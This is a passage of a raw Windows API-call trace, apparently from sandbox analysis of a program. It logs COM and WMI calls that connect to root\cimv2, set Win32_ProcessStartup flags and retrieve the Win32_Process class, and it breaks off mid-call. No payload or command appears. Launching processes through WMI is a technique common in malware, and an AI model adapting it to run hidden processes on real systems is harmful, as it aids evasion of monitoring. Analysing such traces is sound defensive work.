IUnknown:QueryInterface (in: This=0x111f638, riid=0x29be818*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd910 | out: ppvObject=0x1b2fd910*=0x0) returned 0x80004002 [0062.170] IUnknown:Release (This=0x111f638) returned 0x1 [0062.172] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcd30 | out: ppv=0x1b2fcd30*=0x1bef8940) returned 0x0 [0062.172] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bef8940, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcd78 | out: ppvObject=0x1b2fcd78*=0x0) returned 0x80004002 [0062.172] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bef8940, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcd28 | out: ppvObject=0x1b2fcd28*=0x119b120) returned 0x0 [0062.172] WbemDefPath:IUnknown:Release (This=0x1bef8940) returned 0x0 [0062.172] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b120, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcb38 | out: ppvObject=0x1b2fcb38*=0x119b120) returned 0x0 [0062.173] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b120, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcbe0 | out: ppvObject=0x1b2fcbe0*=0x0) returned 0x80004002 [0062.173] WbemDefPath:IUnknown:AddRef (This=0x119b120) returned 0x3 [0062.173] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b120, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc288 | out: ppvObject=0x1b2fc288*=0x0) returned 0x80004002 [0062.173] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b120, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc210 | out: ppvObject=0x1b2fc210*=0x0) returned 0x80004002 [0062.173] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b120, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc200 | out: ppvObject=0x1b2fc200*=0x1bef8960) returned 0x0 [0062.173] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bef8960, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc228 | out: pCid=0x1b2fc228*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0062.173] WbemDefPath:IUnknown:Release (This=0x1bef8960) returned 0x3 [0062.173] CoGetContextToken (in: pToken=0x1b2fc2b0 | out: pToken=0x1b2fc2b0) returned 0x0 [0062.173] CoGetContextToken (in: pToken=0x1b2fc730 | out: pToken=0x1b2fc730) returned 0x0 [0062.173] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b120, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc7f0 | out: ppvObject=0x1b2fc7f0*=0x0) returned 0x80004002 [0062.173] WbemDefPath:IUnknown:Release (This=0x119b120) returned 0x2 [0062.173] WbemDefPath:IUnknown:Release (This=0x119b120) returned 0x1 [0062.173] CoGetContextToken (in: pToken=0x1b2fd550 | out: pToken=0x1b2fd550) returned 0x0 [0062.173] CoGetContextToken (in: pToken=0x1b2fd450 | out: pToken=0x1b2fd450) returned 0x0 [0062.173] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b120, riid=0x1b2fd5b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd580 | out: ppvObject=0x1b2fd580*=0x119b120) returned 0x0 [0062.173] WbemDefPath:IUnknown:AddRef (This=0x119b120) returned 0x3 [0062.173] WbemDefPath:IUnknown:Release (This=0x119b120) returned 0x2 [0062.174] WbemDefPath:IWbemPath:SetText (This=0x119b120, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x0 [0062.174] IWbemClassObject:Get (in: This=0x1bef43c0, wszName="CreateFlags", lFlags=0, pVal=0x1b2fd978*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a689b0*=0, plFlavor=0x2a689b4*=0 | out: pVal=0x1b2fd978*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a689b0*=19, plFlavor=0x2a689b4*=0) returned 0x0 [0062.183] IWbemClassObject:Get (in: This=0x1bef43c0, wszName="CreateFlags", lFlags=0, pVal=0x1b2fd968*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a689b0*=19, plFlavor=0x2a689b4*=0 | out: pVal=0x1b2fd968*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a689b0*=19, plFlavor=0x2a689b4*=0) returned 0x0 [0062.183] IWbemClassObject:Put (This=0x1bef43c0, wszName="CreateFlags", lFlags=0, pVal=0x1b2fd9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x8, varVal2=0x0), Type=0) returned 0x0 [0062.183] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119aee0, puCount=0x1b2fd930 | out: puCount=0x1b2fd930*=0x0) returned 0x0 [0062.183] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1169200, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0062.183] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd8e8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8e8*=0xf, pszText=0x0) returned 0x0 [0062.183] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd8e8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8e8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0062.183] CoGetObjectContext (in: riid=0x29be838*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd848 | out: ppv=0x1b2fd848*=0x111f638) returned 0x0 [0062.183] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd838 | out: pAptType=0x1b2fd838*=1) returned 0x0 [0062.183] IUnknown:QueryInterface (in: This=0x111f638, riid=0x29be818*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd840 | out: ppvObject=0x1b2fd840*=0x0) returned 0x80004002 [0062.183] IUnknown:Release (This=0x111f638) returned 0x1 [0062.185] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc60 | out: ppv=0x1b2fcc60*=0x1bef8b00) returned 0x0 [0062.185] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bef8b00, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcca8 | out: ppvObject=0x1b2fcca8*=0x0) returned 0x80004002 [0062.185] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bef8b00, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc58 | out: ppvObject=0x1b2fcc58*=0x119b1e0) returned 0x0 [0062.185] WbemDefPath:IUnknown:Release (This=0x1bef8b00) returned 0x0 [0062.185] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b1e0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca68 | out: ppvObject=0x1b2fca68*=0x119b1e0) returned 0x0 [0062.185] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b1e0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcb10 | out: ppvObject=0x1b2fcb10*=0x0) returned 0x80004002 [0062.186] WbemDefPath:IUnknown:AddRef (This=0x119b1e0) returned 0x3 [0062.186] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b1e0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc1b8 | out: ppvObject=0x1b2fc1b8*=0x0) returned 0x80004002 [0062.186] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b1e0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc140 | out: ppvObject=0x1b2fc140*=0x0) returned 0x80004002 [0062.186] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b1e0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc130 | out: ppvObject=0x1b2fc130*=0x1bef8b40) returned 0x0 [0062.186] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bef8b40, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc158 | out: pCid=0x1b2fc158*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0062.186] WbemDefPath:IUnknown:Release (This=0x1bef8b40) returned 0x3 [0062.186] CoGetContextToken (in: pToken=0x1b2fc1e0 | out: pToken=0x1b2fc1e0) returned 0x0 [0062.186] CoGetContextToken (in: pToken=0x1b2fc660 | out: pToken=0x1b2fc660) returned 0x0 [0062.186] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b1e0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc720 | out: ppvObject=0x1b2fc720*=0x0) returned 0x80004002 [0062.186] WbemDefPath:IUnknown:Release (This=0x119b1e0) returned 0x2 [0062.186] WbemDefPath:IUnknown:Release (This=0x119b1e0) returned 0x1 [0062.186] CoGetContextToken (in: pToken=0x1b2fd480 | out: pToken=0x1b2fd480) returned 0x0 [0062.186] CoGetContextToken (in: pToken=0x1b2fd380 | out: pToken=0x1b2fd380) returned 0x0 [0062.186] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b1e0, riid=0x1b2fd4e0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd4b0 | out: ppvObject=0x1b2fd4b0*=0x119b1e0) returned 0x0 [0062.186] WbemDefPath:IUnknown:AddRef (This=0x119b1e0) returned 0x3 [0062.186] WbemDefPath:IUnknown:Release (This=0x119b1e0) returned 0x2 [0062.187] WbemDefPath:IWbemPath:SetText (This=0x119b1e0, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0062.187] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119b1e0, puCount=0x1b2fd860 | out: puCount=0x1b2fd860*=0x2) returned 0x0 [0062.187] WbemDefPath:IWbemPath:GetText (in: This=0x119b1e0, lFlags=4, puBuffLength=0x1b2fd858*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd858*=0xf, pszText=0x0) returned 0x0 [0062.187] WbemDefPath:IWbemPath:GetText (in: This=0x119b1e0, lFlags=4, puBuffLength=0x1b2fd858*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd858*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0062.187] CoGetObjectContext (in: riid=0x29be838*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd8d8 | out: ppv=0x1b2fd8d8*=0x111f638) returned 0x0 [0062.187] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd8c8 | out: pAptType=0x1b2fd8c8*=1) returned 0x0 [0062.187] IUnknown:QueryInterface (in: This=0x111f638, riid=0x29be818*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd8d0 | out: ppvObject=0x1b2fd8d0*=0x0) returned 0x80004002 [0062.187] IUnknown:Release (This=0x111f638) returned 0x1 [0062.188] CoGetClassObject (in: rclsid=0x11a5298*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fce80 | out: ppv=0x1b2fce80*=0x1bef8c40) returned 0x0 [0062.188] WbemLocator:IUnknown:QueryInterface (in: This=0x1bef8c40, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcec8 | out: ppvObject=0x1b2fcec8*=0x0) returned 0x80004002 [0062.188] WbemLocator:IClassFactory:CreateInstance (in: This=0x1bef8c40, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fce78 | out: ppvObject=0x1b2fce78*=0x1bef8c60) returned 0x0 [0062.188] WbemLocator:IUnknown:Release (This=0x1bef8c40) returned 0x0 [0062.188] WbemLocator:IUnknown:QueryInterface (in: This=0x1bef8c60, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc88 | out: ppvObject=0x1b2fcc88*=0x1bef8c60) returned 0x0 [0062.188] WbemLocator:IUnknown:QueryInterface (in: This=0x1bef8c60, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcd30 | out: ppvObject=0x1b2fcd30*=0x0) returned 0x80004002 [0062.188] WbemLocator:IUnknown:AddRef (This=0x1bef8c60) returned 0x3 [0062.188] WbemLocator:IUnknown:QueryInterface (in: This=0x1bef8c60, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc3d8 | out: ppvObject=0x1b2fc3d8*=0x0) returned 0x80004002 [0062.188] WbemLocator:IUnknown:QueryInterface (in: This=0x1bef8c60, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc360 | out: ppvObject=0x1b2fc360*=0x0) returned 0x80004002 [0062.188] WbemLocator:IUnknown:QueryInterface (in: This=0x1bef8c60, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc350 | out: ppvObject=0x1b2fc350*=0x0) returned 0x80004002 [0062.188] CoGetContextToken (in: pToken=0x1b2fc400 | out: pToken=0x1b2fc400) returned 0x0 [0062.189] CoGetContextToken (in: pToken=0x1b2fc880 | out: pToken=0x1b2fc880) returned 0x0 [0062.189] WbemLocator:IUnknown:QueryInterface (in: This=0x1bef8c60, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc940 | out: ppvObject=0x1b2fc940*=0x0) returned 0x80004002 [0062.189] WbemLocator:IUnknown:Release (This=0x1bef8c60) returned 0x2 [0062.189] WbemLocator:IUnknown:Release (This=0x1bef8c60) returned 0x1 [0062.189] CoGetContextToken (in: pToken=0x1b2fd430 | out: pToken=0x1b2fd430) returned 0x0 [0062.189] CoGetContextToken (in: pToken=0x1b2fd330 | out: pToken=0x1b2fd330) returned 0x0 [0062.189] WbemLocator:IUnknown:QueryInterface (in: This=0x1bef8c60, riid=0x1b2fd490*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1b2fd460 | out: ppvObject=0x1b2fd460*=0x1bef8c60) returned 0x0 [0062.189] WbemLocator:IUnknown:AddRef (This=0x1bef8c60) returned 0x3 [0062.189] WbemLocator:IUnknown:Release (This=0x1bef8c60) returned 0x2 [0062.189] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119b1e0, puCount=0x1b2fd860 | out: puCount=0x1b2fd860*=0x2) returned 0x0 [0062.189] WbemDefPath:IWbemPath:GetText (in: This=0x119b1e0, lFlags=8, puBuffLength=0x1b2fd858*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd858*=0xf, pszText=0x0) returned 0x0 [0062.189] WbemDefPath:IWbemPath:GetText (in: This=0x119b1e0, lFlags=8, puBuffLength=0x1b2fd858*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd858*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0062.189] CoCreateInstance (in: rclsid=0x7fef726b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef726b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1b2fd5a0 | out: ppv=0x1b2fd5a0*=0x1bef8c80) returned 0x0 [0062.189] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1bef8c80, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1b2fd708 | out: ppNamespace=0x1b2fd708*=0x1bf00d80) returned 0x0 [0062.262] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf00d80, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd418 | out: ppvObject=0x1b2fd418*=0x11e01a0) returned 0x0 [0062.262] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x11e01a0, pProxy=0x1bf00d80, pAuthnSvc=0x1b2fd4e0, pAuthzSvc=0x1b2fd460, pServerPrincName=0x1b2fd490, pAuthnLevel=0x1b2fd464, pImpLevel=0x1b2fd46c, pAuthInfo=0x1b2fd498, pCapabilites=0x1b2fd468 | out: pAuthnSvc=0x1b2fd4e0*=0xa, pAuthzSvc=0x1b2fd460*=0x0, pServerPrincName=0x1b2fd490, pAuthnLevel=0x1b2fd464*=0x6, pImpLevel=0x1b2fd46c*=0x2, pAuthInfo=0x1b2fd498, pCapabilites=0x1b2fd468*=0x1) returned 0x0 [0062.262] WbemLocator:IUnknown:Release (This=0x11e01a0) returned 0x1 [0062.262] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf00d80, riid=0x7fef726aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd3b0 | out: ppvObject=0x1b2fd3b0*=0x11e01e0) returned 0x0 [0062.262] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf00d80, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd3c0 | out: ppvObject=0x1b2fd3c0*=0x11e01a0) returned 0x0 [0062.262] WbemLocator:IClientSecurity:SetBlanket (This=0x11e01a0, pProxy=0x1bf00d80, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0062.262] WbemLocator:IUnknown:Release (This=0x11e01a0) returned 0x2 [0062.262] WbemLocator:IUnknown:Release (This=0x11e01e0) returned 0x1 [0062.262] CoTaskMemFree (pv=0x1beedbe0) [0062.263] WbemLocator:IUnknown:AddRef (This=0x1bf00d80) returned 0x2 [0062.263] WbemLocator:IUnknown:Release (This=0x1bef8c80) returned 0x0 [0062.263] CoGetContextToken (in: pToken=0x1b2fc620 | out: pToken=0x1b2fc620) returned 0x0 [0062.263] CoGetContextToken (in: pToken=0x1b2fcaa0 | out: pToken=0x1b2fcaa0) returned 0x0 [0062.263] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf00d80, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca20 | out: ppvObject=0x1b2fca20*=0x11e01b0) returned 0x0 [0062.263] WbemLocator:IRpcOptions:Query (in: This=0x11e01b0, pPrx=0x1bef8ce0, dwProperty=2, pdwValue=0x1b2fcb50 | out: pdwValue=0x1b2fcb50) returned 0x80004002 [0062.263] WbemLocator:IUnknown:Release (This=0x11e01b0) returned 0x2 [0062.263] CoGetContextToken (in: pToken=0x1b2fd170 | out: pToken=0x1b2fd170) returned 0x0 [0062.263] CoGetContextToken (in: pToken=0x1b2fd070 | out: pToken=0x1b2fd070) returned 0x0 [0062.263] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf00d80, riid=0x1b2fd1d0*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1b2fcff0 | out: ppvObject=0x1b2fcff0*=0x1bf00d80) returned 0x0 [0062.263] WbemLocator:IUnknown:Release (This=0x1bf00d80) returned 0x2 [0062.263] SysStringLen (param_1=0x0) returned 0x0 [0062.264] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119b1e0, puCount=0x1b2fd8a0 | out: puCount=0x1b2fd8a0*=0x2) returned 0x0 [0062.264] WbemDefPath:IWbemPath:GetText (in: This=0x119b1e0, lFlags=4, puBuffLength=0x1b2fd898*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd898*=0xf, pszText=0x0) returned 0x0 [0062.264] WbemDefPath:IWbemPath:GetText (in: This=0x119b1e0, lFlags=4, puBuffLength=0x1b2fd898*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd898*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0062.264] WbemDefPath:IWbemPath:GetText (in: This=0x119aee0, lFlags=2, puBuffLength=0x1b2fd8a8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8a8*=0xe, pszText=0x0) returned 0x0 [0062.264] WbemDefPath:IWbemPath:GetText (in: This=0x119aee0, lFlags=2, puBuffLength=0x1b2fd8a8*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fd8a8*=0xe, pszText="Win32_Process") returned 0x0 [0062.264] IWbemServices:GetObject (in: This=0x1bf00d80, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1b2fd6f0*=0x0, ppCallResult=0x0 | out: ppObject=0x1b2fd6f0*=0x1bef4730, ppCallResult=0x0) returned 0x0 [0062.266] IWbemClassObject:Get (in: This=0x1bef4730, wszName="__PATH", lFlags=0, pVal=0x1b2fd7d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, 